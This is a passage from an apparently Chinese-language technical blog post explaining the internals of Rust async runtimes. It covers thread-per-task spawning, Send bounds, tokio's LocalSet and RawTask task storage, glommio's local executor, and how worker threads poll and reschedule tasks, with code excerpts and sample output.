&#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;fn main() {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    println!(&quot;Start {}&quot;, chrono::Utc::now());&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let r1 = spawn(MyFuture {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        id: 1,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        start: Instant::now(),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        duration: Duration::from_secs(10),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    });&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let r2 = spawn(MyFuture {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        id: 2,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        start: Instant::now(),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        duration: Duration::from_secs(10),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    });&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let h1 = thread::spawn(move || {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        r1.recv().unwrap();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        println!(&quot;Finish 1 {}&quot;, chrono::Utc::now());&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    });&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let h2 = thread::spawn(move || {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        r2.recv().unwrap();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        println!(&quot;Finish 2 {}&quot;, chrono::Utc::now());&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    });&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    h1.join().unwrap();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    h2.join().unwrap();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;可以看到以下输出：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;Start 2023-11-05 10:46:31.880514 UTC&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Polling 1 2023-11-05 10:46:31.880631 UTC&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Polling 2 2023-11-05 10:46:31.880650 UTC&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Pending 1 2023-11-05 10:46:31.880659 UTC&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Pending 2 2023-11-05 10:46:31.880672 UTC&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Wake up 2 2023-11-05 10:46:41.881091 UTC&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Wake up 1 2023-11-05 10:46:41.881091 UTC&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Polling 2 2023-11-05 10:46:41.881206 UTC&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Ready 2 2023-11-05 10:46:41.881232 UTC&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Polling 1 2023-11-05 10:46:41.881261 UTC&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Ready 1 2023-11-05 10:46:41.881276 UTC&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Finish 2 2023-11-05 10:46:41.881330 UTC&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Finish 1 2023-11-05 10:46:41.881377 UTC&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;这样，我们就实现了一个最简单的 thread per task 并发模型。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;send-static&quot;&gt;Send + ‘static&lt;&#x2F;h3&gt;
&lt;p&gt;上面 thread per task 的例子里，spawn 函数里多了 &lt;code&gt;Send&lt;&#x2F;code&gt; 或 &lt;code&gt;&#x27;static&lt;&#x2F;code&gt; 约束，这是因为我们在不同线程间传递 Future 实例，同时可能在线程间传递 Future 计算的结果。&lt;&#x2F;p&gt;
&lt;p&gt;这并不是 Rust Async Runtime 自身约束。如前所述，如果 Future 在当前线程构造，随后使用 block_on 在当前线程阻塞等待，Future 没有跨线程传递过，也就不需要满足 Send 约束。同样，异步运行时在能够保证计算一定不会跨线程进行时，异步计算的代码块即 Future 也不必满足 Send 约束。&lt;&#x2F;p&gt;
&lt;p&gt;在 tokio 的实现里，这种同一线程的计算是用 LocalSet 来抽象的：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;let runtime = tokio::runtime::Runtime::new().unwrap();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;runtime.block_on(async {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let local = tokio::task::LocalSet::new();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let rc = Rc::new(42);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    local.run_until(async move {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        println!(&quot;rc={rc}&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }).await;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;});&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;如果把 &lt;code&gt;local.run_until&lt;&#x2F;code&gt; 换成 &lt;code&gt;tokio::spawn&lt;&#x2F;code&gt; 那么 Rust 编译器就会抱怨被 move 进去的 Rc 实例不是 Send 的。&lt;&#x2F;p&gt;
&lt;p&gt;LocalSet 的底层实现是持有一个 LocalState 实例，其中指示了持有该 LocalSet 的线程的 ThreadId 是什么。tokio 运行时调度过程里，如果拿出来的作业对应的 ThreadId 跟当前 ThreadId 不同，则不执行该作业，而是放回 LocalSet 的任务队列里。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;glommio&#x2F;&quot;&gt;glommio&lt;&#x2F;a&gt; 是一个 thread per code 的异步运行时，它只提供对应到单个线程的 LocalExecutorBuilder 构造器：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;let handle = LocalExecutorBuilder::default().spawn(|| async move { ... })?;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;虽然顶层 async 块内部，可以使用 &lt;code&gt;executor().create_task_queue(...)&lt;&#x2F;code&gt; 创建任务队列，再调用 &lt;code&gt;glommio::spawn_local_into(fut, tq)&lt;&#x2F;code&gt; 把任务提交到任务队列内并发调度，但是同一个 spawn 内的所有任务，都将在同一个线程内执行。因此，所有 spawn 到 glommio 调度器上的 Future 都不必是 Send 的。&lt;&#x2F;p&gt;
&lt;p&gt;上述 LocalExecutorBuilder 的 spawn 方法最终会调用以下代码：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;pub fn spawn&amp;lt;G, F, T&amp;gt;(self, fut_gen: G) -&amp;gt; ...&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;where&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    G: FnOnce() -&amp;gt; F + Send + &#x27;static,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  F: Future + &#x27;static,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    T: Send + &#x27;static,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;{&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    std::thread::Builder::new()&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        .spawn(move || {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            let mut le = LocalExecutor::new(...);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            le.init();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            le.run(async move { Ok(fut_gen().await) })&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        })&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;其中 LocalExecutor 的 run 方法定义如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;pub fn run&amp;lt;T&amp;gt;(&amp;amp;self, future: impl Future&amp;lt;Output = T&amp;gt;) -&amp;gt; T { ... }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;可以看到，这跟其他运行时的 block_on 函数非常相似。实际上，它们确实都是在当前线程里不停 Poll 来驱动异步计算进行。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;rawtask&quot;&gt;RawTask&lt;&#x2F;h3&gt;
&lt;p&gt;block_on 函数驱动的运行时，提交上来的 Future 实例以 local 变量的方式存储在当前线程的栈上，我们在当前线程里循环阻塞的 poll 这个 Future 实例。这种情况下，我们没有把 Future 提交到什么任务队列中，也就不需要额外的存储逻辑。&lt;&#x2F;p&gt;
&lt;p&gt;上面介绍的 thread per task 运行时只是把 block_on 放到多个 thread 里，每个 thread 拿住唯一的 Future 实例不停地 poll 获取结果。可以说，thread per task 运行时针对每个 task spawn 出来的线程的栈，就是存储该 Future 实例的地方。&lt;&#x2F;p&gt;
&lt;p&gt;但是，对于 tokio 这样有任务队列的运行时来说，情况就有所不同。这时调度器需要考虑如何存储未执行或执行后返回 Pending 的作业，以等待空闲线程取出执行。&lt;&#x2F;p&gt;
&lt;p&gt;实际上，tokio 仿照标准库用 RawWaker 封装 Waker 的方法，设计了一个 RawTask 结构用以存储待执行的 Future 实例：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;#[derive(Clone)]&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;pub(crate) struct RawTask {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  ptr: NonNull,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;#[repr(C)]&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;pub(crate) struct Header {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    pub(super) state: State,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  pub(super) queue_next: UnsafeCell&amp;lt;Option&amp;lt;NonNull&amp;gt;&amp;gt;,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    pub(super) vtable: &amp;amp;&#x27;static Vtable,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  pub(super) owner_id: UnsafeCell&amp;lt;Option&amp;gt;,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;pub(super) struct Vtable {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  pub(super) poll: unsafe fn(NonNull),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  pub(super) schedule: unsafe fn(NonNull),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  pub(super) dealloc: unsafe fn(NonNull),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  pub(super) try_read_output: unsafe fn(NonNull, *mut (), &amp;amp;Waker),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  pub(super) drop_join_handle_slow: unsafe fn(NonNull),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  pub(super) drop_abort_handle: unsafe fn(NonNull),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  pub(super) shutdown: unsafe fn(NonNull),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    pub(super) trailer_offset: usize,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    pub(super) scheduler_offset: usize,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    pub(super) id_offset: usize,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;在 tokio multi-thread 运行时的 spawn 方法调用时，底层会依次调用方法构造 RawTask 实例：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;src&#x2F;runtime&#x2F;scheduler&#x2F;multi_thread&#x2F;handle.rs&#x2F;Handle::spawn&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;src&#x2F;runtime&#x2F;scheduler&#x2F;multi_thread&#x2F;handle.rs&#x2F;Handle::bind_new_task&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;src&#x2F;runtime&#x2F;task&#x2F;list.rs&#x2F;OwnedTasks::bind&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;src&#x2F;runtime&#x2F;task&#x2F;mod.rs&#x2F;new_task&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;&#x2F; task::new_task&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;let raw = RawTask::&amp;lt;T, S&amp;gt;(fut, scheduler, id);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;&#x2F;&#x2F; RawTask::new&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;let ptr = Box::into_raw(Cell::&amp;lt;_, S&amp;gt;::new(fut, scheduler, State::new(), id));&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;let ptr = unsafe { NonNull::new_unchecked(ptr as *mut Header) };&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;RawTask { ptr }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;&#x2F;&#x2F; Cell::new&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;let vtable = raw::vtable::&amp;lt;T, S&amp;gt;();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;let ptr = Box::new(Cell {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    header: new_header(&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        state,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        vtable,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    ),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    core: Core {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        scheduler,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        stage: CoreStage {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            stage: UnsafeCell::new(Stage::Running(fut)),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        },&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        task_id,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    },&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    trailer: Trailer::new(),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;});&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;概括地说，就是把 Future 计算作业和调度器 scheduler 都塞到 state 里，存一个 &lt;code&gt;void*&lt;&#x2F;code&gt; 指针指向到这一整坨内容，连同取回这个状态时可以如何 poll&#x2F;schedule 的 VTable 也在里面。&lt;&#x2F;p&gt;
&lt;p&gt;最后，这个 RawTask 被塞到任务队列里等待被取出后 poll 运行：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;&#x2F;&#x2F; OwnedTasks::bind&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;lock.list.push_front(task);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;其他运行时，包括 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;smol&quot;&gt;smol&lt;&#x2F;a&gt; 和 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;tikv&#x2F;yatp&quot;&gt;yatp&lt;&#x2F;a&gt; 乃至以上的 glommio 在向 local 任务队列 spawn 作业时，都有类似的逻辑。在相应代码库里搜索 &lt;code&gt;RawTask&lt;&#x2F;code&gt; 结构就可以了解相应的逻辑。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;future-zhi-xing&quot;&gt;Future 执行&lt;&#x2F;h3&gt;
&lt;p&gt;如果你分别用过 tokio 的 multi-thread 运行时和 current-thread 运行时，你就会发现前者 spawn 作业后，不用 block_on 以某种形式被调用就会自动运行，而后者 spawn 出来的作业，如果你不用 block_on 驱动，那么作业永远也不会执行。&lt;&#x2F;p&gt;
&lt;p&gt;这是因为，单纯的 spawn 部分只完成了把 RawTask 塞入到任务队列中的动作，从任务队列中取出任务执行还需要另一端逻辑来完成。&lt;&#x2F;p&gt;
&lt;p&gt;显式的 block_on 肯定是一种办法，而 tokio 的 multi-thread 运行时之所以能够“自动”运行，是因为它启动了一个多线程的线程池，线程池里的线程默认的工作就是不断从任务队列里取出待运行作业执行。&lt;&#x2F;p&gt;
&lt;p&gt;其中，&lt;code&gt;Launch::launch&lt;&#x2F;code&gt; 是初始化代码的关键节点。它会逐步调用到 &lt;code&gt;Spawner::spawn_task&lt;&#x2F;code&gt; 和 &lt;code&gt;Spawner::spawn_thread&lt;&#x2F;code&gt; 方法，最终启动一个新线程执行 &lt;code&gt;move || run(worker)&lt;&#x2F;code&gt; 闭包的逻辑。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;run&lt;&#x2F;code&gt; 函数在新线程里开始执行后，会逐步执行到一个 &lt;code&gt;while !core.is_shutdown&lt;&#x2F;code&gt; 的循环。这个循环的工作就是在 Runtime 被 shutdown 前不断获取任务队列中的作业驱动运行。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;rawtask-zhong-xin-diao-du&quot;&gt;RawTask 重新调度&lt;&#x2F;h3&gt;
&lt;p&gt;再次以 tokio 为例，如果第一次 poll Future 返回 Pending 结果，那么 Future 需要保存传入 poll 的 Context 实例，从而在可以继续运行作业时将 RawTask 再次提交到调度器上。&lt;&#x2F;p&gt;
&lt;p&gt;前面我们写到 RawTask 的 VTable 里有 poll 和 schedule 方法，这两个方法就是为了这个目的设计的。&lt;&#x2F;p&gt;
&lt;p&gt;其中，RawTask 的 poll 是由上一节提到的 &lt;code&gt;run&lt;&#x2F;code&gt; 函数驱动的：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;src&#x2F;runtime&#x2F;scheduler&#x2F;multi_thread&#x2F;worker.rs&#x2F;run&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
